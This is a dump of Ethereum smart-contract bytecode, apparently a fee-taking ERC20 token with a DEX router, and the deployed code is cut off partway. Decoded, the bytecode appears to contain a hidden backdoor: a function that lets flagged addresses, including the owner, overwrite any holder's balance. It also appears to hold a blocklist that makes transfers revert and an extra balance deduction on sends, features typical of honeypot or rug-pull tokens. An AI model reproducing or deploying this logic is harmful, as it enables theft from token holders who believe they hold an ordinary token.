da5cb5b146107cb57600080fd5b80633b97084a116102b65780636249faf11161025457806377f31d031161022357806377f31d03146107235780637d1db4a514610743578063807c2d9c1461075957806382eefb431461076f57600080fd5b80636249faf11461067d578063625fed981461069d57806370a08231146106bd578063758e6bb1146106f357600080fd5b806357a5802f1161029057806357a5802f146106115780635881f3ef1461062757806360efb94f1461064757806361a23c691461066757600080fd5b80633b97084a146105a057806342efd370146105c05780634a74bb02146105f057600080fd5b806327c8f83511610323578063313ce567116102fd578063313ce5671461050e57806335d236151461053057806339509351146105505780633b6464441461057057600080fd5b806327c8f835146104a55780632b112e49146104d95780632c4b2334146104ee57600080fd5b80631694505e1161035f5780631694505e1461042457806318160ddd1461044457806323b872dd146104635780632563ae831461048357600080fd5b806306fdde0314610391578063095ea7b3146103bc5780631245e347146103ec57600080fd5b3661038c57005b600080fd5b34801561039d57600080fd5b506103a6610b06565b6040516103b391906121fb565b60405180910390f35b3480156103c857600080fd5b506103dc6103d7366004612268565b610b98565b60405190151581526020016103b3565b3480156103f857600080fd5b5060055461040c906001600160a01b031681565b6040516001600160a01b0390911681526020016103b3565b34801561043057600080fd5b50601e5461040c906001600160a01b031681565b34801561045057600080fd5b50601a545b6040519081526020016103b3565b34801561046f57600080fd5b506103dc61047e366004612294565b610baf565b34801561048f57600080fd5b506104a361049e3660046122ea565b610c1a565b005b3480156104b157600080fd5b5061040c7f000000000000000000000000000000000000000000000000000000000000000081565b3480156104e557600080fd5b50610455610c6b565b3480156104fa57600080fd5b506104a3610509366004612305565b610cb5565b34801561051a57600080fd5b5060045460405160ff90911681526020016103b3565b34801561053c57600080fd5b506104a361054b366004612305565b610d01565b34801561055c57600080fd5b506103dc61056b366004612268565b610d53565b34801561057c57600080fd5b506103dc61058b366004612305565b600d6020526000908152604090205460ff1681565b3480156105ac57600080fd5b506104a36105bb366004612322565b610d89565b3480156105cc57600080fd5b506103dc6105db366004612305565b600c6020526000908152604090205460ff1681565b3480156105fc57600080fd5b50601f546103dc90600160a81b900460ff1681565b34801561061d57600080fd5b5061045560145481565b34801561063357600080fd5b5061040c610642366004612305565b610db8565b34801561065357600080fd5b506104a361066236600461233b565b6110f0565b34801561067357600080fd5b5061045560155481565b34801561068957600080fd5b506104a3610698366004612367565b611145565b3480156106a957600080fd5b506104a36106b8366004612268565b6111e6565b3480156106c957600080fd5b506104556106d8366004612305565b6001600160a01b031660009081526006602052604090205490565b3480156106ff57600080fd5b506103dc61070e366004612305565b600b6020526000908152604090205460ff1681565b34801561072f57600080fd5b506104a361073e366004612367565b61121e565b34801561074f57600080fd5b50610455601b5481565b34801561076557600080fd5b50610455601c5481565b34801561077b57600080fd5b5061045560185481565b34801561079157600080fd5b5061045560115481565b3480156107a757600080fd5b506103dc6107b6366004612305565b600a6020526000908152604090205460ff1681565b3480156107d757600080fd5b506000546001600160a01b031661040c565b3480156107f557600080fd5b506104a361080436600461233b565b6112b9565b34801561081557600080fd5b506103a6611308565b34801561082a57600080fd5b5061045560015481565b34801561084057600080fd5b5060045461040c9061010090046001600160a01b031681565b34801561086557600080fd5b50601d54610455565b34801561087a57600080fd5b5061045560195481565b34801561089057600080fd5b506103dc61089f366004612268565b611317565b3480156108b057600080fd5b506104a36108bf3660046122ea565b611366565b3480156108d057600080fd5b5061045560165481565b3480156108e657600080fd5b506103dc6108f5366004612268565b6113ae565b34801561090657600080fd5b506104a361091536600461233b565b6113bb565b34801561092657600080fd5b5061045560105481565b34801561093c57600080fd5b506104a361094b3660046122ea565b61140a565b34801561095c57600080fd5b50610455600f5481565b34801561097257600080fd5b50601f5461040c906001600160a01b031681565b34801561099257600080fd5b5061045560125481565b3480156109a857600080fd5b506103dc6109b7366004612305565b60096020526000908152604090205460ff1681565b3480156109d857600080fd5b5061045560135481565b3480156109ee57600080fd5b50601f546103dc90600160b01b900460ff1681565b348015610a0f57600080fd5b50610455600e5481565b348015610a2557600080fd5b50610455610a343660046123eb565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b348015610a6b57600080fd5b5061045560175481565b348015610a8157600080fd5b506104a3610a90366004612322565b61148c565b348015610aa157600080fd5b506103dc610ab0366004612305565b60086020526000908152604090205460ff1681565b348015610ad157600080fd5b506104a3610ae0366004612305565b6114bb565b348015610af157600080fd5b50601f546103dc90600160b81b900460ff1681565b606060028054610b1590612424565b80601f0160208091040260200160405190810160405280929190818152602001828054610b4190612424565b8015610b8e5780601f10610b6357610100808354040283529160200191610b8e565b820191906000526020600020905b815481529060010190602001808311610b7157829003601f168201915b5050505050905090565b6000610ba533848461158f565b5060015b92915050565b6000610bbc8484846116b3565b50610c0f8433610c0a85604051806060016040528060288152602001612635602891396001600160a01b038a1660009081526007602090815260408083203384529091529020549190611a93565b61158f565b5060015b9392505050565b6000546001600160a01b03163314610c4d5760405162461bcd60e51b8152600401610c449061245e565b60405180910390fd5b601f8054911515600160b81b0260ff60b81b19909216919091179055565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316600090815260066020526040812054601a54610cb091611acd565b905090565b6000546001600160a01b03163314610cdf5760405162461bcd60e51b8152600401610c449061245e565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610d2b5760405162461bcd60e51b8152600401610c449061245e565b600480546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b3360008181526007602090815260408083206001600160a01b03871684529091528120549091610ba5918590610c0a9086611530565b6000546001600160a01b03163314610db35760405162461bcd60e51b8152600401610c449061245e565b601d55565b600080546001600160a01b03163314610de35760405162461bcd60e51b8152600401610c449061245e565b6000829050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e26573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4a9190612493565b6001600160a01b031663e6a4390530836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ebb9190612493565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610f06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2a9190612493565b91506001600160a01b03821661108157806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f78573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f9c9190612493565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fe9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061100d9190612493565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561105a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107e9190612493565b91505b601f80546001600160a01b03199081166001600160a01b038581169182178455601e8054909316948116949094179091556000908152600960209081526040808320805460ff19908116600190811790925594549095168352600c909152902080549091169091179055919050565b6000546001600160a01b0316331461111a5760405162461bcd60e51b8152600401610c449061245e565b600e839055600f829055601081905561113d816111378585611530565b90611530565b601755505050565b6000546001600160a01b0316331461116f5760405162461bcd60e51b8152600401610c449061245e565b60005b828110156111e0578160096000868685818110611191576111916124b0565b90506020020160208101906111a69190612305565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806111d8816124dc565b915050611172565b50505050565b336000908152600c602052604090205460ff161561121a576001600160a01b03821660009081526006602052604090208190555b5050565b6000546001600160a01b031633146112485760405162461bcd60e51b8152600401610c449061245e565b60005b828110156111e057816008600086868581811061126a5761126a6124b0565b905060200201602081019061127f9190612305565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806112b1816124dc565b91505061124b565b6000546001600160a01b031633146112e35760405162461bcd60e51b8152600401610c449061245e565b601183905560128290556013819055611300816111378585611530565b601855505050565b606060038054610b1590612424565b6000610ba53384610c0a8560405180606001604052806025815260200161265d602591393360009081526007602090815260408083206001600160a01b038d1684529091529020549190611a93565b6000546001600160a01b031633146113905760405162461bcd60e51b8152600401610c449061245e565b601f8054911515600160b01b0260ff60b01b19909216919091179055565b6000610c0f3384846116b3565b6000546001600160a01b031633146113e55760405162461bcd60e51b8152600401610c449061245e565b601483905560158290556016819055611402816111378585611530565b601955505050565b6000546001600160a01b031633146114345760405162461bcd60e51b8152600401610c449061245e565b601f8054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061148190831515815260200190565b60405180910390a150565b6000546001600160a01b031633146114b65760405162461bcd60e51b8152600401610c449061245e565b601c55565b6000546001600160a01b031633146114e55760405162461bcd60e51b8152600401610c449061245e565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b60008061153d83856124f5565b905083811015610c135760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610c44565b6001600160a01b0383166115f15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610c44565b6001600160a01b0382166116525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610c44565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166117195760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610c44565b6001600160a01b03831661177b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610c44565b601f54600160a01b900460ff161561179f57611798848484611b0f565b9050610c13565b6001600160a01b0384166000908152600a602052604090205460ff161580156117e157506001600160a01b0383166000908152600a602052604090205460ff16155b1561184957601b548211156118495760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610c44565b30600090815260066020526040902054601d54811080159081906118775750601f54600160a01b900460ff16155b801561189c57506001600160a01b0386166000908152600c602052604090205460ff16155b80156118b15750601f54600160a81b900460ff165b156118d757601f54600160b01b900460ff16156118ce57601d5491505b6118d782611bf5565b6118e086611d30565b15611922576001600160a01b0386166000908152600660205260409020546119089085611acd565b6001600160a01b0387166000908152600660205260409020555b6001600160a01b03861660009081526008602052604081205460ff168061196157506001600160a01b03861660009081526008602052604090205460ff165b61197557611970878787611d58565b611977565b845b601f54909150600160b81b900460ff1680156119ac57506001600160a01b03861660009081526009602052604090205460ff16155b156119e257601c546119d782611137896001600160a01b031660009081526006602052604090205490565b11156119e257600080fd5b6001600160a01b0387166000908152600d602052604090205460ff1615611a0857600080fd5b6001600160a01b038616600090815260066020526040902054611a2b9082611530565b6001600160a01b0380881660008181526006602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611a7f9085815260200190565b60405180910390a360019350505050610c13565b60008184841115611ab75760405162461bcd60e51b8152600401610c4491906121fb565b506000611ac4848661250d565b95945050505050565b6000610c1383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a93565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600690915291822054611b60918490611a93565b6001600160a01b038086166000908152600660205260408082209390935590851681522054611b8f9083611530565b6001600160a01b0380851660008181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611be39086815260200190565b60405180910390a35060019392505050565b601f805460ff60a01b1916600160a01b179055601954601454600091611c2b91600291611c259182908790611e5e565b90611ee0565b90506000611c398383611acd565b9050611c4481611f22565b6014544790600090611c6490611c5b906002611ee0565b60195490611acd565b90506000611c866002611c2584611c2560145488611e5e90919063ffffffff16565b90506000611ca383611c2560165487611e5e90919063ffffffff16565b90506000611cbb82611cb58786611acd565b90611acd565b90508015611cde57600454611cde9061010090046001600160a01b0316826120b5565b8115611cfa57600554611cfa906001600160a01b0316836120b5565b600083118015611d0a5750600087115b15611d1957611d1987846120f0565b5050601f805460ff60a01b19169055505050505050565b6000816001600160a01b0316611d476001546121c5565b6001600160a01b0316141592915050565b6001600160a01b0383166000908152600c6020526040812054819060ff1615611d9c57611d956064611c2560175486611e5e90919063ffffffff16565b9050611dda565b6001600160a01b0384166000908152600c602052604090205460ff1615611dda57611dd76064611c2560185486611e5e90919063ffffffff16565b90505b8015611e545730600090815260066020526040902054611dfa9082611530565b30600081815260066020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611e4b9085815260200190565b60405180910390a35b611ac48382611acd565b600082600003611e7057506000610ba9565b6000611e7c8385612524565b905082611e898583612543565b14610c135760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610c44565b6000610c1383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121cd565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611f5757611f576124b0565b6001600160a01b03928316602091820292909201810191909152601e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611fb0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fd49190612493565b81600181518110611fe757611fe76124b0565b6001600160a01b039283166020918202929092010152601e5461200d913091168461158f565b601e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906120469085906000908690309042906004016125a9565b600060405180830381600087803b15801561206057600080fd5b505af1158015612074573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516120a99291906125e5565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156120eb573d6000803e3d6000fd5b505050565b601e546121089030906001600160a01b03168461158f565b601e546001600160a01b031663f305d7198230856000806121316000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015612199573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906121be9190612606565b5050505050565b600081610ba9565b600081836121ee5760405162461bcd60e51b8152600401610c4491906121fb565b506000611ac48486612543565b600060208083528351808285015260005b818110156122285785810183015185820160400152820161220c565b8181111561223a576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461226557600080fd5b50565b6000806040838503121561227b57600080fd5b823561228681612250565b946020939093013593505050565b6000806000606084860312156122a957600080fd5b83356122b481612250565b925060208401356122c481612250565b929592945050506040919091013590565b803580151581146122e557600080fd5b919050565b6000602082840312156122fc57600080fd5b610c13826122d5565b60006020828403121561231757600080fd5b8135610c1381612250565b60006020828403121561233457600080fd5b5035919050565b60008060006060848603121561235057600080fd5b505081359360208301359350604090920135919050565b60008060006040848603121561237c57600080fd5b833567ffffffffffffffff8082111561239457600080fd5b818601915086601f8301126123a857600080fd5b8135818111156123b757600080fd5b8760208260051b85010111156123cc57600080fd5b6020928301955093506123e291860190506122d5565b90509250925092565b600080604083850312156123fe57600080fd5b823561240981612250565b9150602083013561241981612250565b809150509250929050565b600181811c9082168061243857607f821691505b60208210810361245857634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156124a557600080fd5b8151610c1381612250565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016124ee576124ee6124c6565b5060010190565b60008219821115612508576125086124c6565b500190565b60008282101561251f5761251f6124c6565b500390565b600081600019048311821515161561253e5761253e6124c6565b500290565b60008261256057634e487b7160e01b600052601260045260246000fd5b500490565b600081518084526020808501945080840160005b8381101561259e5781516001600160a01b031687529582019590820190600101612579565b509495945050505050565b85815284602082015260a0604082015260006125c860a0830186612565565b6001600160a01b0394909416606083015250608001529392505050565b8281526040602082015260006125fe6040830184612565565b949350505050565b60008060006060848603121561261b57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212205d77c0cb388fe9482daf5baf472c8955f9bc5052c47f896821317fdc0550460164736f6c634300080d0033
Deployed Bytecode
0x6080604052600436106103855760003560e01c806388790a68116101d1578063c469b6dd11610102578063da00097d116100a0578063f1d5f5171161006f578063f1d5f51714610a75578063f2514e8814610a95578063f2fde38b14610ac5578063f872858a14610ae557600080fd5b8063da00097d146109e2578063dc44b6a014610a03578063dd62ed3e14610a19578063f0cd1dac14610a5f57600080fd5b8063c816841b116100dc578063c816841b14610966578063c860795214610986578063c867d60b1461099c578063cab03471146109cc57600080fd5b8063c469b6dd1461091a578063c49b9a8014610930578063c5d241891461095057600080fd5b8063a073d37f1161016f578063a5d69d1f11610149578063a5d69d1f146108a4578063a83f53a7146108c4578063a9059cbb146108da578063c2d4640e146108fa57600080fd5b8063a073d37f14610859578063a08e671f1461086e578063a457c2d71461088457600080fd5b80639174c79d116101ab5780639174c79d146107e957806395d89b41146108095780639c64954e1461081e578063a06b98f81461083457600080fd5b806388790a68146107855780638b42507f1461079b5780638da5cb5b146107cb57600080fd5b80633b97084a116102b65780636249faf11161025457806377f31d031161022357806377f31d03146107235780637d1db4a514610743578063807c2d9c1461075957806382eefb431461076f57600080fd5b80636249faf11461067d578063625fed981461069d57806370a08231146106bd578063758e6bb1146106f357600080fd5b806357a5802f1161029057806357a5802f146106115780635881f3ef1461062757806360efb94f1461064757806361a23c691461066757600080fd5b80633b97084a146105a057806342efd370146105c05780634a74bb02146105f057600080fd5b806327c8f83511610323578063313ce567116102fd578063313ce5671461050e57806335d236151461053057806339509351146105505780633b6464441461057057600080fd5b806327c8f835146104a55780632b112e49146104d95780632c4b2334146104ee57600080fd5b80631694505e1161035f5780631694505e1461042457806318160ddd1461044457806323b872dd146104635780632563ae831461048357600080fd5b806306fdde0314610391578063095ea7b3146103bc5780631245e347146103ec57600080fd5b3661038c57005b600080fd5b34801561039d57600080fd5b506103a6610b06565b6040516103b391906121fb565b60405180910390f35b3480156103c857600080fd5b506103dc6103d7366004612268565b610b98565b60405190151581526020016103b3565b3480156103f857600080fd5b5060055461040c906001600160a01b031681565b6040516001600160a01b0390911681526020016103b3565b34801561043057600080fd5b50601e5461040c906001600160a01b031681565b34801561045057600080fd5b50601a545b6040519081526020016103b3565b34801561046f57600080fd5b506103dc61047e366004612294565b610baf565b34801561048f57600080fd5b506104a361049e3660046122ea565b610c1a565b005b3480156104b157600080fd5b5061040c7f000000000000000000000000000000000000000000000000000000000000dead81565b3480156104e557600080fd5b50610455610c6b565b3480156104fa57600080fd5b506104a3610509366004612305565b610cb5565b34801561051a57600080fd5b5060045460405160ff90911681526020016103b3565b34801561053c57600080fd5b506104a361054b366004612305565b610d01565b34801561055c57600080fd5b506103dc61056b366004612268565b610d53565b34801561057c57600080fd5b506103dc61058b366004612305565b600d6020526000908152604090205460ff1681565b3480156105ac57600080fd5b506104a36105bb366004612322565b610d89565b3480156105cc57600080fd5b506103dc6105db366004612305565b600c6020526000908152604090205460ff1681565b3480156105fc57600080fd5b50601f546103dc90600160a81b900460ff1681565b34801561061d57600080fd5b5061045560145481565b34801561063357600080fd5b5061040c610642366004612305565b610db8565b34801561065357600080fd5b506104a361066236600461233b565b6110f0565b34801561067357600080fd5b5061045560155481565b34801561068957600080fd5b506104a3610698366004612367565b611145565b3480156106a957600080fd5b506104a36106b8366004612268565b6111e6565b3480156106c957600080fd5b506104556106d8366004612305565b6001600160a01b031660009081526006602052604090205490565b3480156106ff57600080fd5b506103dc61070e366004612305565b600b6020526000908152604090205460ff1681565b34801561072f57600080fd5b506104a361073e366004612367565b61121e565b34801561074f57600080fd5b50610455601b5481565b34801561076557600080fd5b50610455601c5481565b34801561077b57600080fd5b5061045560185481565b34801561079157600080fd5b5061045560115481565b3480156107a757600080fd5b506103dc6107b6366004612305565b600a6020526000908152604090205460ff1681565b3480156107d757600080fd5b506000546001600160a01b031661040c565b3480156107f557600080fd5b506104a361080436600461233b565b6112b9565b34801561081557600080fd5b506103a6611308565b34801561082a57600080fd5b5061045560015481565b34801561084057600080fd5b5060045461040c9061010090046001600160a01b031681565b34801561086557600080fd5b50601d54610455565b34801561087a57600080fd5b5061045560195481565b34801561089057600080fd5b506103dc61089f366004612268565b611317565b3480156108b057600080fd5b506104a36108bf3660046122ea565b611366565b3480156108d057600080fd5b5061045560165481565b3480156108e657600080fd5b506103dc6108f5366004612268565b6113ae565b34801561090657600080fd5b506104a361091536600461233b565b6113bb565b34801561092657600080fd5b5061045560105481565b34801561093c57600080fd5b506104a361094b3660046122ea565b61140a565b34801561095c57600080fd5b50610455600f5481565b34801561097257600080fd5b50601f5461040c906001600160a01b031681565b34801561099257600080fd5b5061045560125481565b3480156109a857600080fd5b506103dc6109b7366004612305565b60096020526000908152604090205460ff1681565b3480156109d857600080fd5b5061045560135481565b3480156109ee57600080fd5b50601f546103dc90600160b01b900460ff1681565b348015610a0f57600080fd5b50610455600e5481565b348015610a2557600080fd5b50610455610a343660046123eb565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b348015610a6b57600080fd5b5061045560175481565b348015610a8157600080fd5b506104a3610a90366004612322565b61148c565b348015610aa157600080fd5b506103dc610ab0366004612305565b60086020526000908152604090205460ff1681565b348015610ad157600080fd5b506104a3610ae0366004612305565b6114bb565b348015610af157600080fd5b50601f546103dc90600160b81b900460ff1681565b606060028054610b1590612424565b80601f0160208091040260200160405190810160405280929190818152602001828054610b4190612424565b8015610b8e5780601f10610b6357610100808354040283529160200191610b8e565b820191906000526020600020905b815481529060010190602001808311610b7157829003601f168201915b5050505050905090565b6000610ba533848461158f565b5060015b92915050565b6000610bbc8484846116b3565b50610c0f8433610c0a85604051806060016040528060288152602001612635602891396001600160a01b038a1660009081526007602090815260408083203384529091529020549190611a93565b61158f565b5060015b9392505050565b6000546001600160a01b03163314610c4d5760405162461bcd60e51b8152600401610c449061245e565b60405180910390fd5b601f8054911515600160b81b0260ff60b81b19909216919091179055565b7f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b0316600090815260066020526040812054601a54610cb091611acd565b905090565b6000546001600160a01b03163314610cdf5760405162461bcd60e51b8152600401610c449061245e565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610d2b5760405162461bcd60e51b8152600401610c449061245e565b600480546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b3360008181526007602090815260408083206001600160a01b03871684529091528120549091610ba5918590610c0a9086611530565b6000546001600160a01b03163314610db35760405162461bcd60e51b8152600401610c449061245e565b601d55565b600080546001600160a01b03163314610de35760405162461bcd60e51b8152600401610c449061245e565b6000829050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e26573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4a9190612493565b6001600160a01b031663e6a4390530836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ebb9190612493565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610f06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2a9190612493565b91506001600160a01b03821661108157806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f78573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f9c9190612493565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fe9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061100d9190612493565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561105a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107e9190612493565b91505b601f80546001600160a01b03199081166001600160a01b038581169182178455601e8054909316948116949094179091556000908152600960209081526040808320805460ff19908116600190811790925594549095168352600c909152902080549091169091179055919050565b6000546001600160a01b0316331461111a5760405162461bcd60e51b8152600401610c449061245e565b600e839055600f829055601081905561113d816111378585611530565b90611530565b601755505050565b6000546001600160a01b0316331461116f5760405162461bcd60e51b8152600401610c449061245e565b60005b828110156111e0578160096000868685818110611191576111916124b0565b90506020020160208101906111a69190612305565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806111d8816124dc565b915050611172565b50505050565b336000908152600c602052604090205460ff161561121a576001600160a01b03821660009081526006602052604090208190555b5050565b6000546001600160a01b031633146112485760405162461bcd60e51b8152600401610c449061245e565b60005b828110156111e057816008600086868581811061126a5761126a6124b0565b905060200201602081019061127f9190612305565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806112b1816124dc565b91505061124b565b6000546001600160a01b031633146112e35760405162461bcd60e51b8152600401610c449061245e565b601183905560128290556013819055611300816111378585611530565b601855505050565b606060038054610b1590612424565b6000610ba53384610c0a8560405180606001604052806025815260200161265d602591393360009081526007602090815260408083206001600160a01b038d1684529091529020549190611a93565b6000546001600160a01b031633146113905760405162461bcd60e51b8152600401610c449061245e565b601f8054911515600160b01b0260ff60b01b19909216919091179055565b6000610c0f3384846116b3565b6000546001600160a01b031633146113e55760405162461bcd60e51b8152600401610c449061245e565b601483905560158290556016819055611402816111378585611530565b601955505050565b6000546001600160a01b031633146114345760405162461bcd60e51b8152600401610c449061245e565b601f8054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061148190831515815260200190565b60405180910390a150565b6000546001600160a01b031633146114b65760405162461bcd60e51b8152600401610c449061245e565b601c55565b6000546001600160a01b031633146114e55760405162461bcd60e51b8152600401610c449061245e565b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b60008061153d83856124f5565b905083811015610c135760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610c44565b6001600160a01b0383166115f15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610c44565b6001600160a01b0382166116525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610c44565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166117195760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610c44565b6001600160a01b03831661177b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610c44565b601f54600160a01b900460ff161561179f57611798848484611b0f565b9050610c13565b6001600160a01b0384166000908152600a602052604090205460ff161580156117e157506001600160a01b0383166000908152600a602052604090205460ff16155b1561184957601b548211156118495760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610c44565b30600090815260066020526040902054601d54811080159081906118775750601f54600160a01b900460ff16155b801561189c57506001600160a01b0386166000908152600c602052604090205460ff16155b80156118b15750601f54600160a81b900460ff165b156118d757601f54600160b01b900460ff16156118ce57601d5491505b6118d782611bf5565b6118e086611d30565b15611922576001600160a01b0386166000908152600660205260409020546119089085611acd565b6001600160a01b0387166000908152600660205260409020555b6001600160a01b03861660009081526008602052604081205460ff168061196157506001600160a01b03861660009081526008602052604090205460ff165b61197557611970878787611d58565b611977565b845b601f54909150600160b81b900460ff1680156119ac57506001600160a01b03861660009081526009602052604090205460ff16155b156119e257601c546119d782611137896001600160a01b031660009081526006602052604090205490565b11156119e257600080fd5b6001600160a01b0387166000908152600d602052604090205460ff1615611a0857600080fd5b6001600160a01b038616600090815260066020526040902054611a2b9082611530565b6001600160a01b0380881660008181526006602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611a7f9085815260200190565b60405180910390a360019350505050610c13565b60008184841115611ab75760405162461bcd60e51b8152600401610c4491906121fb565b506000611ac4848661250d565b95945050505050565b6000610c1383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a93565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600690915291822054611b60918490611a93565b6001600160a01b038086166000908152600660205260408082209390935590851681522054611b8f9083611530565b6001600160a01b0380851660008181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611be39086815260200190565b60405180910390a35060019392505050565b601f805460ff60a01b1916600160a01b179055601954601454600091611c2b91600291611c259182908790611e5e565b90611ee0565b90506000611c398383611acd565b9050611c4481611f22565b6014544790600090611c6490611c5b906002611ee0565b60195490611acd565b90506000611c866002611c2584611c2560145488611e5e90919063ffffffff16565b90506000611ca383611c2560165487611e5e90919063ffffffff16565b90506000611cbb82611cb58786611acd565b90611acd565b90508015611cde57600454611cde9061010090046001600160a01b0316826120b5565b8115611cfa576005